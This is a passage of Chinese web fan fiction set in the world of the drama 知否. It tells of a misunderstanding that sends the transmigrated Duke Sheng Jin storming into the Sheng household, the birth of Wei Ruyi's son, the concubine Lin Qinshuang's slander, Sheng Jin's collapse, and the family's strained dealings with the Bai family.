盛老太太正处于一片迷茫的状态,房嬷嬷看着眼前的盛老太太十分担心,过了一会儿,她自觉盛老太太不能再这样下去了,出言道:“老太太,你要保重身体,您是上了年纪的人了,您要照顾好自己的身体,想想您还有一个孙子没见过呢,您难道不想看看他吗?那可是您的嫡亲孙子啊!您不想看看他长的像不像哥儿们呢?” 盛老太太将房嬷嬷的话听进去了,她回过神来擦了擦眼角的泪水,对着房嬷嬷,轻声道:“对,我还有个孙子呢,我还要看看他,看着他娶妻生子,我还要弥补我的儿子,我不能倒下,不管能不能认回他们,我都要看着他们好好的。” 房嬷嬷见盛老太太精神头回来了,心里松了口气,道:“老太太,您这么想就对了,只是这件事情要不要和主君透露一下,万一您将国公爷给认了回来,主君没有个准备,怕是会因惊吓过度失了颜面。” 盛老太太闻言,面色淡淡,道:“认亲岂是那般容易的,瑾儿愿不愿意认回来还得两说呢,若是让我这个儿子知道了恐怕事情会更乱了,再者,以他小心谨慎的性子恐怕不会让我冒险认回瑾儿的,这件事情只能我们徐徐图之,更何况认回瑾儿还涉及到了盛家家产的事情,我是不在乎盛家家产的,以瑾儿的家底八成也不在乎,可是保不得别人不在乎。” 房嬷嬷也知道盛老太太说的盛家家产是一个问题存在,因为当初盛老爷只有盛纮这一个子嗣,那么盛家的家产自然全是盛纮的,但现在盛纮多出了一个哥哥,还是嫡出的哥哥,这家产怎么分都是个问题,盛纮八成会因为盛瑾的身份不会多想反对,可盛纮身边的王若弗和林噙霜却不会像他那么思前想后的,毕竟盛家的家产可不薄啊!不过盛纮应该能管的住王若弗和林噙霜,让她们明面上不敢做什么。 房嬷嬷心里这么想着,便附和盛老太太,道:“老太太说的是,盛国公夫妇当年给端淑县主的添妆不比盛家家底差多少,盛国公自己家底十分丰厚,再加上已逝盛国公夫人的嫁妆,自然是看不上盛家家底的,主君为着盛家更不会让其他人阻止老太太认回国公爷的。” 盛老太太听着房嬷嬷的话,冷哼了一声,她比任何人都要了解自己这个庶子,盛纮虽是个目观短浅之人,但他有一点好处是在他心里盛家才是最重要的,他冲着盛瑾国公爷的身份,也不会不让她认回盛瑾的,不过前提是盛瑾是心甘情愿的认回盛家,且不会给盛家带来任何风险,所以现在最主要的是如何才能认回盛瑾。 盛老太太思考了一会儿,感觉自己身体有些许不适,便停止思考,让房嬷嬷去找郎中来为她诊断身体,毕竟现在要修养好自己的身子才能想认回盛瑾的事情。 等房嬷嬷找来的郎中为盛老太太诊断完后,郎中嘱咐了一句:“老太太要放宽心情,其他的没有什么问题。” 房嬷嬷回道:“好的,谢谢郎中,郎中这边请。”说完,她便将郎中送出了盛家后,回来服侍盛老太太躺下休息了,而同一天的夜晚,白滢婷从睡梦中惊醒过来,她让丫鬟找来了常嬷嬷后,让常嬷嬷做到她的身边来。 白滢婷眼中闪过一丝喜悦,语气中带着激动和悲伤,道:“奶娘,我梦到嫂嫂了,可是我在嫂嫂身边无论怎么说话,她都听不到我的声音,只是抱着一个小姑娘在说笑,那个小姑娘长得可像盛家那个小姑娘了,我隐约听到她叫嫂嫂母亲,你说嫂嫂是不是想让我做些什么呢?” 常嬷嬷闻言,没有多想什么,只是语气柔和,道:“姑娘这是想国公夫人了,又恰好碰到与国公夫人长相相似的盛家姑娘才做了这样的梦,那盛家姑娘和国公爷国公夫人又没什么关系,国公夫人能让姑娘你做什么呢。” 白滢婷听着常嬷嬷的话,沉默了片刻,叹了口气,道:“奶娘,你说的对,我就是太想嫂嫂了,自从见了盛家那个小姑娘后,我就时常在想若是嫂嫂还在的话,那会不会给我添个如盛家姑娘那般像她的小侄女。” 白滢婷说到这里,目光朦胧,不知看向哪里,道:“这些年我一直想在梦里见一见嫂嫂,却从未如愿,没想到今晚居然如愿梦见嫂嫂了,只是我却无法和她说话,其实我有时候在想若是我不嫁入顾家,嫂嫂会不会就不会那么早的离世了,而我也会不会就不是如今这般样子了,轩轩会不会有几个弟弟妹妹,哥哥也不会形单影只了。” 常嬷嬷眼中闪过一丝心疼,道:“姑娘,你莫要这般想,国公爷不是说了吗?国公夫人的身体早在难产时就伤了大半,与你无关,国公夫人不是也在信里和你说了许多嘛,你若是这般想,她会心疼的。” 白滢婷听着常嬷嬷的话,想起慕卿云留给她的信,心头泛起一丝疼痛,道:“我知道,我都知道,但我总是会想着若没这些事情,嫂嫂是不是能多活几年,我常常在想我能做什么来弥补一下心里对嫂嫂的亏欠,可想来想去也只是多替她疼疼轩轩罢了,如今轩轩也大了,离开哥哥去边疆任职,我瞧着哥哥独自一人,便常常想着若是嫂嫂看到哥哥孤孤单单一个人该有多心疼啊!可我也没有办法改变哥哥现在的状态,烨儿和炜儿到底姓顾,他们不能一直待在盛家,而且他们是男子,如今也十来岁了,要不了多久就要离开长辈挣前程的。” 常嬷嬷见状也不能说什么,只能安安静静的听着白滢婷述说后,安抚白滢婷几句,而白滢婷并没有把这一夜发生的事情告诉盛瑾和白老爷。 十几天后的清晨,盛瑾一边指导顾廷炜功课,一边在心里吐槽道:“顾廷烨那小兔崽子,果然有了新欢就忘了旧爱了,这么快就抛弃了他的舅舅,书院好不容易放个假,不想着陪自己弟弟舅舅跑去找好朋友了。” 盛瑾想到这里,看了一眼自己身旁的顾廷炜,心里不由自主的想道:“这个小兔崽子再过几年八成和他哥一样不着家了,为啥一大家子就没个姑娘呢,唉。” 此时的顾廷炜莫名其妙打了个喷嚏,抬头便看到盛瑾一直在盯着自己,有些不明所以,但他下意识站直了身子,接着看一下自己哪里有不对之处,在自觉没有任何问题后,对着盛瑾露出灿烂的笑容。 盛瑾见状心虚的摸了摸自己的鼻子后,继续指导顾廷炜的功课了,而此时被盛瑾念叨过的顾廷烨正和盛长柏在盛家呢,正当他们在盛长柏院子里的书房中聊的起劲时,顾廷烨突然听到有人在哭,而且哭声越来越近了,很快盛长柏也听到了。 顾廷烨和盛长柏还没有反应过来时,只见一个五岁的小姑娘小脸灰扑扑的冲进来书房中,然后精准无误的冲向盛长柏,抱着盛长柏的大腿,哭道:“二哥哥,救救娘亲,呜呜。” 因为盛瑾送顾廷烨到书院时,与书院的山长说了不用给顾廷烨任何特殊的待遇,还给顾廷烨化名为白烨,因此盛长柏并不知道白烨就是顾廷烨,而盛纮也以为白烨只是一个普通人,也没有怎么关注盛长柏这个朋友,所以顾廷烨也没有见过盛长柏的兄妹,于是顾廷烨下意识的以为这个小姑娘说的是王若弗,随即一脸迷茫的看向盛长柏,心里充满疑惑的想道:“今天来时没听过长柏说他母亲身体不好啊!” 盛长柏刚开始没反应过来这个脸蛋有些脏并抱着他大腿的小姑娘是谁,等他看了一眼后,便认出这是他的六妹妹盛明兰,随即立刻反应过来盛明兰说的娘亲是卫小娘卫如意,毕竟今天盛纮照常去衙门上班了,王若弗则带着盛华兰一同出门去参加宴会了,而盛老太太一早上便出门去寺庙散散心了。 盛长柏知道现在盛家女主人都不在,盛家中馈又掌握在林噙霜手中,卫如意现在怀着孩子,这时候如果出了什么事情,以盛纮对林噙霜的偏爱,不会相信是林噙霜干的,反倒是会觉是王若弗没安排好,毕竟妾氏生子也是属于正妻管的,再则卫如意肚子里怀的是盛家的骨肉,盛长柏不能不管,于是他来不及多想,就立即起身赶往卫如意的院子。 顾廷烨没反应过来,看着盛长柏脸上浮现出的担忧,还以为真是王大娘子出事了,想着盛瑾身边的郎中医术十分高超,就派石头回白家去找盛瑾要郎中了,而后他还不忘抱起跟在盛长柏身后努力小跑的盛明兰,向盛长柏的方向跑去,被顾廷烨嘱咐的石头看到自家公子这么急,也赶忙跑回白家了。 白家的下人在门口守着,突然看到顾廷烨身边的石头,他看到石头满脸焦急的向白家大门这边跑来,心里一惊,想着:“不会是哥儿出了什么事情吧。” 那位下人又认真的看了一下石头的身边,并没有发现顾廷烨的身影,心里越发担忧,但又不能贸然跑过去问石头发生了什么,等石头跑到白家大门后,对着他气喘吁吁的说:“快,快,找国公爷要郎中,去盛家救人。” 那名下人本来就在石头来到门前的这段时间里脑补了许多自家公子和别人发生的事件,结果石头口中“救人”二字,使他一下联想到顾廷烨受伤了,随即他的脸都吓白了,赶忙去找自家国公爷救人了。 在白家里,盛瑾躺在椅子看着书,晒着太阳,而顾廷炜则是在书房内练字,突然,盛瑾听到有人叫他,抬头看到一个下人冲了进来,他看着对方气喘吁吁的样子,挑了挑眉,放下手中的书籍,语气平淡,道:“别急,慢慢说。” 那名下人站稳之后,喘了几口气,焦急地说道:“不好了,国公爷,咱家哥儿被盛家人打伤了,派石头回来找郎中。” 盛瑾闻言,猛地站起来,心里说了一声“靠”,然后,他脸色低沉的对下人说道:“你去叫上盛俊,让他带几个人和郎中到门口。” 此时的盛瑾也顾不得什么理智了,毕竟顾廷烨都受伤了,他那还顾得了这么多呢,他的心里不由自主的想道:“顾廷烨长这么大只被我打过,还没有人敢打他,盛家最好保证我侄子没事,否则我和他们没完。” 其实盛瑾这个人十分护短的,再加上对自家孩子的喜爱,就没人敢动他家孩子,他家孩子犯错你可以告诉他由他来罚,但是你就是不能动他家孩子一下。 自从白滢婷难产事情发生与慕卿云去世后,盛瑾除了白滢婷邀请外唯一一次上顾家的门是因为顾偃开无言无故打了顾廷烨,盛瑾上门以切磋为由,揍了顾偃开一顿,之后顾廷烨就再也没有被他爹打过了,那也是顾偃开第一次觉得文官看上去文弱,但动起手来不一定比武官弱。 盛瑾这一听自家这倒霉外甥被盛家人打了,就忍不住了,带着盛俊和郎中杀到盛家去了,而书房内的顾廷炜刚听完外面动静还没反应过来,等他反应过来时,盛瑾已然带着人出门了。 过了一会儿,石头一脸迷茫的走进来,憨憨的对着顾廷炜,道:“四公子,你知道国公爷为什么带着人冲出去呢?”他本来在外面休息了一会儿,正好看到盛瑾带着人骑马出去了,没来得及拦住盛瑾一行人,也不知道盛瑾一行人怎么了。 顾廷炜闻言,眼中闪过一丝迷茫,语气中带着一丝疑问,道:“不是你说二哥哥在盛家受伤了,舅舅带人去盛家讨公道了啊!不是嘛。” 石头瞪大双眼,语气中充满惊讶,大声道:“没有啊!盛家有人身体不适,公子让我回来找国公爷要郎中去盛家帮忙诊断啊!” 顾廷煜听到石头的话,双目顿时睁大,道:“什么,坏了,你怎么没有和那个小厮说清楚啊!来人啊!快去找母亲或是外祖父,让他们去阻止舅舅。” 顾廷炜说道这里,等不及,拉着石头一边出门一边对着旁边的丫鬟道:“你去找母亲或是外祖父,我和石头先去盛家,看来不来得及拦下舅舅。” 那名丫鬟急忙去找白滢婷和白老爷,而顾廷炜和石头因为过于焦急选择性的忘了备马车,等他们走出白家一段距离才想起了,可是他们不能再回去浪费时间,便硬着头皮徒步走去盛家,可惜的是这个时候盛瑾已经带着人冲到了盛家,而盛家的下人看到这一群杀气腾腾的人,被吓的呆在原地,一动不动的。 当盛家下人们看到盛瑾打算硬闯时,一个盛家下人壮着胆子,拦在盛瑾一行人面前,问道:“敢问这位老爷是何人吗?我家老爷现下在衙门处理事务,如有事可以改日再来。” 盛瑾冷冷的说道:“让开,不然的话,我就不客气了。”盛家的下人们看着这群人是打算硬闯了,连忙派人去找盛家管家和其他的人来帮忙。 盛瑾看着这几个挡在前面的人,冷冷的说了句“动手”。很快盛俊几个人就动手了,将人都撂倒了,等盛家管家带人来时,就看到盛瑾带着人走进了盛家的大门。 盛家管家看着盛瑾气度不凡,而后面的几个人一看就是身手不凡的,只能派一个人去衙门找盛纮,让他快回来,自己则带着其他人尽力抵挡,可惜管家带来的人不是盛俊一行人的对手。 盛俊一行人很快便将盛家的下人们都放倒,然后,盛瑾来到盛家管家面前,冰冷的眼神毫无生气,对着盛家管家问道:“今早和你们二公子一起回来的那个少年在哪?带我去。” 盛家管家被盛瑾的气场吓得额头直冒冷汗,语气有些抖索的说道:“我知道,我这就带您去。”而后盛瑾便起身让盛家管家带路,他们就跟着他一起去了卫如意的院子,此时盛长柏和顾廷烨盛明兰都在卫如意的院子里,盛长柏微微皱眉的对着下人,道:“找到稳婆了吗?” 那个下人语气中带着一丝颤抖,道:“二公子,府中的稳 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顾廷烨对盛瑾的话,一脸茫然,道:“没人伤我啊,谁敢动我啊,哦,看我被舅舅你绕晕了,快,舅舅,郎中在哪吗?救人要紧。” 盛瑾此时也懵了,不过他很快就反应过来这件事情恐怕是石头没解释清楚闹了个乌龙,需要郎中的不是顾廷烨而是盛家人,他看着脸色有些焦急的顾廷烨道:“在这。” 顾廷烨闻言,抓着郎中便朝一个男孩跑去,而此时的盛长柏在看到白烨舅舅的长相时,被惊艳到了,脑子里只有一句话“陌上公子玉无双”,直到顾廷烨拽着郎中来到他面前才回过神,顾廷烨也没多想,直言道:“这是郎中,让他进去吧。” 盛长柏反应过来后,对着郎中鞠一躬,神情严肃,道:“里面的妇人就拜托郎中了。”说完后,郎中点了点头便进入房中了。 盛瑾看到这个场景还有什么不知道的,他上前一把抓住顾廷烨的耳朵,冷笑的说道:“你今天最好给我说清楚是怎么回事,不然我们两人没完,管事情管到别人家的内宅来了,你真是有本事啊!” 顾廷烨抱着盛明兰,没有手来抓住盛瑾揪住他耳朵的那只手,便只好求饶道:“舅舅松手,松手,疼,疼,我还抱着孩子呢,小心摔了孩子。” 盛瑾这才看到顾廷烨怀中的小姑娘,看起来十分精致可爱,一眼就能看出长大后定是个大美人,不过,他对这个小姑娘有几分熟悉,仔细瞧着,才发觉这个姑娘和自己儿子小时候十分相像,便猜出这位姑娘便是白滢婷口中的盛明兰。 顾廷烨看到自家舅舅盯着自己怀里的盛明兰看,还以为自家舅舅眼馋人家小姑娘,想抱一抱小姑娘,他想起自家舅舅最喜欢孩子了,于是他灵机一动,将盛明兰当成一块免死金牌一般,一把把盛明兰塞到自家舅舅怀了里,从而解救了自己的耳朵。 顾廷烨摸摸自己得救的耳朵,看着自己舅舅脸上由阴转晴的表情,心里不由的吐槽道:“我只是让石头回去找郎中嘛,是您想多了。” 盛瑾看着被顾廷烨塞到他怀中一脸茫然却乖巧的盛明兰,又看向顾廷烨脸上的表情,不用猜就能知道顾廷烨在想什么,于是他对着顾廷烨挑了挑眉,脸上的表情好像在说了句“是我想多了吗?” 顾廷烨感到不妙,马上端正自己的态度,道:“这件事情是我没有和石头说清楚,又或是石头那个呆子讲的不够清楚,反正全赖我们,劳烦舅舅了。” 站在一旁满面苦涩的盛家管家和盛长柏还有什么不清楚的呢,估计是顾廷烨没有和自己舅舅说清楚,人家以为自家欺负他的外甥打上门来,盛家管家心里不由自主的想道:“天爷啊!这算什么事情啊!老爷回来要咋交代啊!” 另一边林噙霜的院子得到了消息,知道盛瑾带人打上盛家的门,到了卫如意的院子里,林小娘面色一喜,心想:“本来还担心卫如意在盛长柏的帮助下平安生下儿子,那之前所做的一切都是徒劳了,现下好了,只要将这个男人和卫如意绑在一起,就算卫如意生下儿子也会被盛纮所厌弃的,若是可能还能拉下盛长柏。” 林噙霜对着自己的心腹周雪娘,道:“务必要让那个男人待在卫如意的院子里,直到老爷回来,找个人在卫如意院子外面,说那个男人是卫如意的姘头。” 周雪娘听完林噙霜的话后,回了声“是”,便退下去找人办林噙霜的事情了,此时盛纮接到下人的消息,铁青着脸,道:“走,我现在就回去,我倒要看看这青天白日的,谁这么大胆,敢闯我们盛家的门。”随即他便将手中的事务都交由其他人处理后,告假赶回盛家,而另一边的白滢婷知道这件事情也往盛家刚赶。 在卫如意的院子里,盛瑾一行人等着卫如意生孩子,盛瑾感觉到怀中孩子的害怕,抱着怀中的孩子,拍拍孩子的背,安慰道:“没事的,你娘不会有事的,你要相信郎中。” 盛明兰抬头满脸真诚的看着盛瑾,语气中带着一丝颤抖的询问道:“伯父,阿娘,阿娘真的不会有事嘛。” 盛瑾眉眼弯了弯,嘴角微微弯起,语气中带着一丝坚定,道:“不会的,伯父带来的郎中很厉害,你要相信他的医术可以让你阿娘平安生下孩子的,好嘛。”许是盛瑾的安慰似乎起了效果,盛明兰没有在颤抖了。 过了一会儿,房中响起了一阵婴儿的啼哭声,盛瑾一行人松了口气,生下来就好了,很快郎中就将孩子抱给了盛长柏看了一下,告诉他卫如意生了个男孩,而后又抱回去给卫如意了。 盛长柏对着盛瑾拱了拱手,语气中带着一丝恭谨,道:“盛长柏多谢叔伯出手相助,等家父回来后一定登门拜谢。” 盛瑾将盛明兰放下来后,听到盛长柏的话,突然一个激灵,他觉得这名字好像在哪里听到过,便下意识开口问道:“你叫盛长柏,那你的家人叫什么吗?” 盛长柏虽然一脸疑惑,但还是老实的回答道:“家父盛纮,家母王若弗,我有一个姐姐名盛华兰,三个妹妹分别为盛墨兰、盛如兰、盛明兰,两个弟弟一个叫盛长枫,另一个就是刚刚那个孩子,还没取名。” 盛瑾脑海中闪过以前同事们讨论过的一部电视剧中的人名,心里一片震惊,不由自主的想道:“不会吧,不会这么巧吧,我居然穿到了一部电视剧里面,天爷啊!这都是什么事情啊!” 盛瑾觉得自己现在需要静一静,好好想想,突然,他感觉头一阵难受,于是他强忍难受对着盛长柏说道:“贤侄啊!现下事情已经解决了伯父也不好多留在你家内宅中,便先行告辞了。” 盛长柏也知道自家内宅不能让男子多留,便没了出言留下盛瑾,可正当他打算送盛瑾离去时,林噙霜派来的下人赶紧上前拦住盛瑾等人,不让他们走,还满嘴盛瑾和卫如意有什么关系。 一旁的顾廷烨听到这话,眼中压抑着怒火,随即看了一眼身旁的盛瑾,只见盛瑾眉头紧皱,好似在强忍着什么,他立刻察觉出盛瑾的异样,可偏偏这时候盛家下人宛若听不见盛长柏的话一般,不让盛瑾一行人出门,气的他想要杀人。 这时白滢婷也赶到了盛家,而盛纮跟在白滢婷的身后进来了,她们正巧都听道那个下人的话,无论是白滢婷还是盛纮的脸都瞬间黑下来了。 白滢婷看向盛瑾,她发现盛瑾的眉头紧皱,额头微微出汗,脸色还略微有些惨白,看上去十分难受的样子,心里不由得担忧起来,于是她直接吼了一句“我到要看看谁敢拦我哥哥的路。” 盛纮起初还在纳闷为什么端淑县主直接冲到他们盛家来,现下想都不用想便知道今天闯入盛家的人是谁了,他怎么也没想到自己千方百计想要见到的盛瑾居然会这么出现在自己面前,正在这时盛瑾晕倒在地上,顾廷烨和白滢婷盛纮都被吓到了。 顾廷烨心里一阵惊恐担忧,还来不及反应,白滢婷便冲了过来,扶着盛瑾,一脸担忧,语气中充满了焦急,道:“快找郎中来啊!” 盛瑾带过来的郎中随即上来给盛瑾诊断,白滢婷见状,便暂时放下心来,然后,她转过身来,指着之前造谣盛瑾的下人,对着盛俊,道:“盛俊,你给我抓住他,我要将他带回白家好好审问一下幕后指使者是谁,我到要看看是谁给他的狗胆,敢诽谤当朝国公爷。”说完看也不看盛纮,而盛俊当着盛纮的面直接抓了人。 盛纮没办法出口阻止,他甚至连话都不敢说什么,只能看着盛俊抓人,而郎中给盛瑾诊断出的结果是怒急攻心晕倒后,白滢婷更是看都不看盛纮一下,一脸阴沉,道:“盛通判,你家下人真是好本事啊!” 盛纮听到白滢婷的话后,一脸惶恐的想要解释,可是白滢婷更本就不给他机会,直接让盛俊等人将盛瑾扶进了她来时的马车内离开了盛家,独留盛纮不知所措的站在原地,而后他不知想到了什么,急急忙忙派人去找盛老太太了。 第 36 章 夜晚的盛家灯火通明,大厅内,盛老太太的脸色十分阴沉,盛纮则是低沉着脸站在一旁,满脑子都是盛瑾晕倒的场景,他怎么也没想到自己和盛瑾的第一次见面会是在这种情况下,此时此刻的他心里止不住的担忧道:“若是盛国公真的在盛家出事了,那么整个盛家该怎么办啊!” 盛纮越想越为盛家的前程担忧不已,就在此时,王若弗的哭骂声从外面传了进来,不一会儿,她本人就走进了大厅。 王若弗一进来就直冲盛纮的方向走去,她抓着盛纮的手臂重重的拍打了几下,语气中充满了埋怨,道:“都是你那心头肉惹的祸啊!得罪了盛国公和端淑县主,我的柏儿还有什么好前程啊!还有我的华儿如儿,她们还有什么好姻缘啊!都怪你将管家权给了那个贱人,要不然,她哪来的本事搞这么多事情啊!” 王若弗刚从外面回来,她院子里的下人就将这件事情一五一十告知了她,随后才有了现在这一幕。 王若弗和盛纮拉扯着哭骂了一会儿后,她脑回路不知怎么转的,突然,想起了罪魁祸首林噙霜,随即咬牙切齿,道:“不行,我要找那贱人算账去,凭什么她惹了事情就可以若无其事的躲起来啊!” 当时白滢婷和盛瑾刚离开不久,林噙霜那边就得到消息了,这个消息让林噙霜瞬间腿脚发软的跌坐在地上。 林噙霜一边用手支撑着自己发软的身体,一边喃喃自语道:“完了,完了,全完了,要知道他是国公爷,我哪敢让人这样说啊!”她越想越怕,没一会儿便将自己吓晕过去了,这回是真晕啊!和平时她在盛纮面前装晕可不一样。 本来盛老太太和盛纮还打算查一下到底是谁传播盛瑾的谣言,现下林噙霜一晕等于不打自招,明眼人都知道是谁指使的了,而盛老太太则是在盛纮还没反应过来时,直接派下人将林噙霜的院子看管了起来,连带着林噙霜的心腹丫鬟都被看押了起来,而后又让下人将盛墨兰和盛长枫带到别的院子休息。 等盛纮反应过来后,盛老太太已经将所有的事情都安排妥当了,他也不能再派人驳回盛老太太决定的事情,毕竟盛老太太对这件事情的处理方法没有任何错误,而且他也不想多出一个为了妾侍忤逆嫡母的名声,索性盛老太太只是看管林噙霜,并没有苛待她的吃穿用度,他也不好多说什么。 盛纮本就心疼被盛老太太处罚的林噙霜,现下听到王若弗说要找林噙霜算账,心里顿生怜惜,急忙拉住王若弗,低声道:“霜儿前不久才晕过去了,现下还没有醒来呢,你行行好,别再折腾了,难不成你是嫌现在还不够乱嘛,如今最紧要的是如何让盛国公和端淑县主消气。” 王若弗听完盛纮的话,双目瞪大,语气中充满了愤怒,道:“好啊!她可真是有本事啊!现下一晕,惹出来的祸事就不用管了,世界上怎么会有这么划算的买卖啊!” 盛老太太瞥了一眼脸色难看的盛纮,这个场景让她想起了一些往事,心里不由自主的冷笑道:“瞧着我这个好儿子对林噙霜还是有几分真心的,事到如今还想保住林噙霜呢,这点倒是和他那逝去的父亲一个模样。”可惜这件事情涉及到了盛瑾,盛老太太并不想如盛纮所愿放过林噙霜,不过,她眼下最关心的还是盛瑾的身体。 盛老太太神情严肃的看着王若弗和盛纮,道:“好了,明日我去白家探探口风再做打算,至于林噙霜,既然她身体虚弱晕倒了,那么墨兰和长枫就交由大娘子教养吧,另外再找人好好照顾她。” 盛纮听到盛老太太要将盛墨兰和盛长枫交给王若弗扶养,眼中闪过一丝不满,刚想要反驳盛老太太,可抬起头便看到盛老太太眼中的寒意,顿觉后背发凉,想要说的话到嘴边怎么也说不出口。 盛纮纠结了一会儿,最终只吐出一句“儿子全凭母亲安排。”毕竟这件事情涉及到了本朝最年轻、最得皇帝恩宠的国公爷,为了给国公爷一个交代,林噙霜也不可能不受惩罚,盛纮虽然宠爱林噙霜,但是盛家在他心里远比林噙霜更有份量。 王若弗本来是不想接收盛墨兰和盛长枫,但架不住一旁的刘妈妈拼命使眼色和盛老太太不容置疑的神情,她最终咬了咬牙,道:“儿媳一定会照顾好墨兰和长枫的,至于林小娘那里,儿媳也会照顾妥贴的。” 盛老太太听到王若弗的话,摆了摆手让她们都出去后,眼神中闪过一丝担忧,她看着房嬷嬷,道:“你说明日白家的人会不会让我见瑾儿呢?” 房嬷嬷闻言,沉默了许久,最终选择安抚盛老太太,道:“端淑县主不是个不讲理的,这件事情和老太太您关系不大,她不会迁怒老太太你的。” 盛老太太脸上浮现一抹苦笑,道:“但愿吧,你说我是不是不应该将瑾儿认回盛家啊!先前瑾儿一出生就没气了,离开盛家又活了过来,如今瑾儿第一次到盛家就被气晕了,这盛家是不是和瑾儿相冲呢。” 房嬷嬷眼中闪过一丝不可置信,道:“老太太这是说的哪里的话,您什么大风大浪没见过啊!什么相冲什么不相冲,这些都是不可信的。” 盛老太太也不知道有没有听进去房嬷嬷的话,双眼迷离的看着外面,心里不知道在想些什么,房嬷嬷也不好再过多说些什么了,而王若弗一离开盛老太太的院子,就派人将盛墨兰和盛长枫接到了她的院子,可是她对林噙霜的怒火并没有消失,为了让林噙霜不好过,她特意派人告知林噙霜,盛老太太和盛纮将盛墨兰盛长枫交由她扶养的消息。 此时已经清醒的林噙霜被这个消息气得又晕了过去,等她再次清醒过来时已经是第二天了,她想去找盛纮哭闹,但是如今的她除了自己的院子,哪里都不能去,只能等盛纮来自己的院子时,她才能见到盛纮,可是孩子们的离去让她失去了平日里的冷静,为了尽快见到盛纮,她将自己的院子闹得鸡飞狗跳,很可惜的是盛纮并没有像她想象的那般出现。 盛纮早就料到了林噙霜会和他哭闹,心里不忍看到林噙霜哭求他的场面,因此,他一出盛老太太的院子便躲了出去,恐怕他在接下来的一段时间里都不会去见林噙霜了。 这时的林噙霜不得不承认盛墨兰和盛长枫交给王若弗扶养这件事情是盛纮默许了,她在没有盛纮支持的情况下,再怎么闹下去也只是徒劳罢了,现下最重要的是在盛纮来见她之前想出方法改变自己的处境。 林噙霜在心里不停的安抚自己,道:“不要太着急,墨儿和枫儿不是认不得亲生母亲的赤子,只要改变我如今在盛家的处境,以盛纮对我的宠爱,墨儿枫儿早晚都能回到我身边的,现在最重要的是冷静下来想法子改变我在盛家的处境。” 正当林噙霜绞尽脑汁想方法改变自己处境时,盛老太太已经带着房嬷嬷前往白家了,但她们并没有如愿的见到白滢婷和白老爷,毕竟盛瑾还在昏迷中,无论是白老爷还是白滢婷都没有什么心情接待害盛瑾昏迷的盛家人,不过,他们还是让白家管家客客气气的将盛老太太和房嬷嬷送出了白家大门。 盛老太太对此只是叹了口气,并没有多说什么,便带着房嬷嬷回了盛家,只是接下来的发展是盛老太太、白老爷、白滢婷都始料未及的,他们没想到盛瑾这一昏迷便是两天都没醒。 白老爷和白滢婷想尽了一切办法都不能让盛瑾醒来,急得他们都快疯了,最后,寻得一个民间秘方,就是让昏迷者的父母其中一位日夜守在昏迷者身旁,可是盛瑾是孤儿,哪来的父母啊! 正在白老爷和白滢婷一筹莫展的时候,一直密切关注白家的盛老太太突然来访,她与白老爷、白滢婷坦白一切事情后,便就此待在了白家。 盛瑾昏迷的第五天清晨,盛老太太让丫鬟打了一盆水,亲自给盛瑾擦拭身子,满目慈爱的看着盛瑾,嘴里喃喃道:“瑾儿,娘的瑾儿,你这一觉睡得真久啊!娘真的很想你,你快些醒来,让娘好好看看你,与你说说话啊!” 此时的盛瑾正在接收系统给他传授的完整记忆,无法感知外面的一切事情,而这些天的昏迷也只不过是他被突如其来的记忆冲晕过去了,通过睡觉来接收和消化记忆内容。 这些记忆使得盛瑾了解到了这是一个类似知否的小世界,不过这到底是一个世界,它与电视剧还是有不同之处的,而且盛瑾对这部电视剧的了解并不多,只是从同事口中了解几个剧情和人物名字,不过,这对于盛瑾而言也不是什么重要的事情,毕竟他的任务只是让盛老太太一生幸福快乐,不过,昏迷的盛瑾怎么都没想到自己的任务对象正在照顾着自己。 盛老太太这边正心无旁贷的照顾着盛瑾,可盛纮那边却是不好过啊!他见盛老太太已经两天没回来了,再加上盛瑾已经昏迷第五天了,此时的他犹如热锅上的蚂蚁,是坐也不是,站也不是,于是他今天一大早就硬着头皮登上白家的大门,这次白老爷没有像之前第一次那般到门口接待盛纮,而是让白家管家将他带到了大厅内。 白老爷看着眼前这个与自家义子有几分相似的盛纮,心里不由得感叹道:“真是缘分啊!谁能想到两个不相关的人居然能联系在一起啊!”不过,白老爷感叹归感叹,他心里对盛纮的气可没有随着时间的流逝而消失多少,毕竟害盛瑾到现在还昏迷不醒的罪魁祸首是盛纮最宠爱的妾侍。 在白老爷心里盛纮也是间接害盛瑾昏迷不醒的人,毕竟若不是平日里盛纮给她撑腰惯了,她一个小妾那里能在盛家有这么大的权利和胆子啊! 盛纮在白老爷的注视下,正要硬着头皮给白老爷行了一礼时,白老爷摆了摆手,冷哼道:“我白某一届盐商,身份卑贱,那里当得了盛通判这个扬州父母官一礼呢,到时候说出去又是我白家的错处了。” 盛纮被白老爷阴阳怪气的话语噎了一下,但他好歹在官场上混了十几年,脸皮早就练了出来了,他直接无视白老爷对他鼻子不是鼻子,脸不是脸的态度,扯着笑脸,恭维道:“白老爷言重了,不说别的,您这些年给扬州城做的善事也足够受本官一礼了。” 白老爷本来就没打算和盛纮僵持太久,对于盛纮的话也没有多少在意,直言道:“盛通判,如果你是来和我说这些客道话的,那您就请回吧,我义子现在还在昏迷中,请恕我没有什么心情在这里听这些话。” 盛纮见到白老爷这么说,便知道他是真没什么心情听他说废话,于是他也直接说出自己的目的,道:“白老爷的心情,我理解,只是我不明白为什么你们白家要将我母亲扣留府中。” 白老爷闻言,挑了挑眉,语气中带着一丝嘲讽,道:“我们白家可没有你盛通判那么大的官威,一个小妾居然能让小厮们强行留人在盛家。” 白老爷看着脸色有些难看的盛纮,心情顿感不错,他脸上浮现一抹意味深长的笑意,继续道:“怎么,你家老太太没有告诉你嘛,我们白家可没有强行留人的习惯,是她自愿留在我白家的。” 盛纮瞧着眼前有些故弄玄虚的白老爷,眉头微皱,道:“白老爷这是何意啊!我母亲怎么会自愿留在白家呢,先前我母亲只告诉我她来白家一趟,谁曾想你们白家尽然会将她留下来。”也不怪盛纮不清楚盛老太太的事情,毕竟盛老太太从一开始就瞒着盛纮有关盛瑾的事情,这次因为盛瑾昏迷时间过长又只有这一个法子,盛老太太来不及多想便赶来白家,只让下人递话给盛纮她去白家了,其余的盛纮一概不知。 白老爷瞧着盛纮的样子便知他说的是真的,不过,盛纮居然在盛老太太来白家两天后才上门,可见盛老太太在他心中也没多少份量吧。 白老爷的脸色没有丝毫变化,语气中带着一丝嘲讽,道:“也罢,盛通判您说什么便是什么吧,不过,您满心满眼都是您的爱妾,哪里还在乎其他人呢,听错或听漏了也是有可能的,毕竟你家老太太都在我府上两日了,您才上门,不知道是你料定我们拿你家老太太没办法呢,还是你根本不在乎你家老太太的安危呢。” 盛纮听着白老爷一番诛心话,脸色顿变,眼神中带着一丝冷意,道:“望白老爷说话谨慎些,莫要胡言乱语,败坏了我盛家的名声。” 